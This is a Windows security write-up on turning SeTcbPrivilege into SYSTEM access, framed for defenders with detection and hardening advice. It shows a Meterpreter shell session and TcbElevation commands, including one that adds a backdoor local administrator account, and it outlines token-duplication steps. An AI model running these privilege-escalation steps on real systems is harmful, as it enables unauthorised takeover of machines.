

Privilege Without Exploits: Gaining SYSTEM with SeTcbPrivilege

Introduction

SeTcbPrivilege, also known as “Act as part of the operating system,” is one of the most sensitive privileges in the Windows operating system. When granted, it allows a process to impersonate any user and perform tasks normally restricted to the system itself. Although rare, misconfiguration or misuse of this privilege can result in full SYSTEM-level compromise. This document explores two primary abuse paths enabled by SeTcbPrivilege and provides recommendations for detection and mitigation.

What Is SeTcbPrivilege?

SeTcbPrivilege is a built-in Windows user right that allows a process to act as part of the operating system. Processes with this privilege can bypass certain security restrictions, impersonate any user, and interact directly with core OS functions. This level of trust is typically reserved for highly sensitive processes such as the Local Security Authority Subsystem (LSASS).

Capabilities granted by SeTcbPrivilege include:

- Creating processes under any security context
- Impersonating SYSTEM tokens
- Manipulating authentication flows

Abuse Method 1: Creating a SYSTEM-Level Service

One of the simplest ways to abuse SeTcbPrivilege is to create and launch a new Windows service configured to run as LocalSystem. When SeTcbPrivilege is present, a user or process can register, start, and execute code as a SYSTEM service, even if they are not an administrator.

Security researcher Antonio Cocomazzi published a proof-of-concept tool written in C++ that demonstrates how SeTcbPrivilege can be abused to execute commands under the SYSTEM context. The tool, named TcbElevation, is available on GitHub (see references) and showcases how a user with this privilege can create a SYSTEM-level service to run arbitrary code.

Once compiled, the tool accepts a service name and a command as parameters:

```
None  
TcbElevation.exe <ServiceName> "<Command>"
```

This will create a temporary Windows service running as LocalSystem, execute the given command, and then remove itself, effectively granting SYSTEM-level execution to any supplied payload.

```
(Meterpreter 5)(  
  ) > shell  
Process 3084 created.  
Channel 3 created.  
Microsoft Windows [Version 10.0.17763.6893]  
(c) 2018 Microsoft Corporation. All rights reserved.  
  
C:\>whoami /priv  
whoami /priv  
  
PRIVILEGES INFORMATION  
-----  
  
Privilege Name      Description      State  
=====
```

SeTcbPrivilege	Act as part of the operating system	Enabled
SeChangeNotifyPrivilege	Bypass traverse checking	Enabled
SeCreateGlobalPrivilege	Create global objects	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Enabled

Identifying SeTcbPrivilege

```

C:\Users\████████\Desktop>TcbElevation.exe MySvc "cmd.exe /c net user pentest1
Pentest123 /add && net localgroup Administrators pentest /add"
TcbElevation.exe MySvc "cmd.exe /c net user pentest Pentest123 /add && net local
group Administrators pentest /add"
Error starting service 1053

C:\Users\████████\Desktop>net user
net user

User accounts for ████████

-----
Administrator          DefaultAccount          Guest
pentest                 ████████                ████████
WDAGUtilityAccount
The command completed successfully.

```

TcbElevation.exe being run to create new local admin user

The following command demonstrates a safe way to verify SYSTEM execution:

None

```
TcbElevation.exe MySvc "whoami > C:\TcbTest\output.txt"
```

This creates a temporary service named 'MySvc' that runs under the SYSTEM account, executes the specified command, and then deletes itself. The output file should confirm that the process ran as SYSTEM.

Expected Output:

None

```
nt authority\system
```

Detection opportunities include:

- Service creation events (Event ID 7045)
- SYSTEM-level processes executing from unexpected binaries

Abuse Method 2: Token Impersonation

Another way to abuse SeTcbPrivilege is through direct token impersonation. By opening a handle to an existing SYSTEM process and duplicating its token, an attacker can spawn a new process under the SYSTEM context. This technique uses standard Windows APIs and does not require creating new services or binaries.

However, this method requires additional access rights beyond SeTcbPrivilege alone. The attacker must be running as a local Administrator or otherwise have permission to open handles to protected processes like lsass.exe or winlogon.exe. Without sufficient access to the target process and its token, the attack cannot proceed, even with elevated privileges.

Key APIs used in this technique include:

- OpenProcess
- OpenProcessToken
- DuplicateTokenEx
- CreateProcessAsUser

Typical token impersonation sequence:

```
// Open SYSTEM process handle
// Duplicate token with TOKEN_ALL_ACCESS
// CreateProcessAsUser with duplicated token
```

Detection opportunities include:

- Token duplication API monitoring
- SYSTEM-level child processes originating from unusual sources

Comparison of Abuse Methods

The table below summarises the differences between the two abuse paths:

Method	SeTcb Required	Artifact Created	Detectable via Logs	Requires SYSTEM Token	Requires Additional Privileges
Service Creation	Yes	Yes	Yes (Event ID 7045)	No	No
Token Impersonation	Yes	No	Possibly	Yes	Yes

Detection and Monitoring

To detect potential abuse of SeTcbPrivilege, defenders should:

- Audit current privilege assignments
- Monitor service installation logs
- Detect unexpected SYSTEM-level process activity
- Use Sysmon or EDR to monitor token-related APIs

Mitigation and Hardening

To reduce the risk of SeTcbPrivilege abuse:

- Apply least privilege principles across all accounts
- Regularly review Group Policy and local privilege assignments
- Limit access to process and token manipulation APIs
- Audit third-party software requesting SeTcbPrivilege

Final Thoughts

SeTcbPrivilege is a powerful and often overlooked capability that enables SYSTEM-level access through multiple vectors. Both the service creation and token impersonation methods are viable in real-world scenarios. Organisations should consider proactively auditing this privilege to reduce the risk of lateral movement or full system compromise.

References

Microsoft Documentation:

<https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/act-as-part-of-the-operating-system>

<https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/security-policy-settings/user-rights-assignment>

GitHub PoC:

<https://gist.github.com/antonioCoco/19563adef860614b56d010d92e67d178>

MITRE ATT&CK: <https://attack.mitre.org/techniques/T1068/>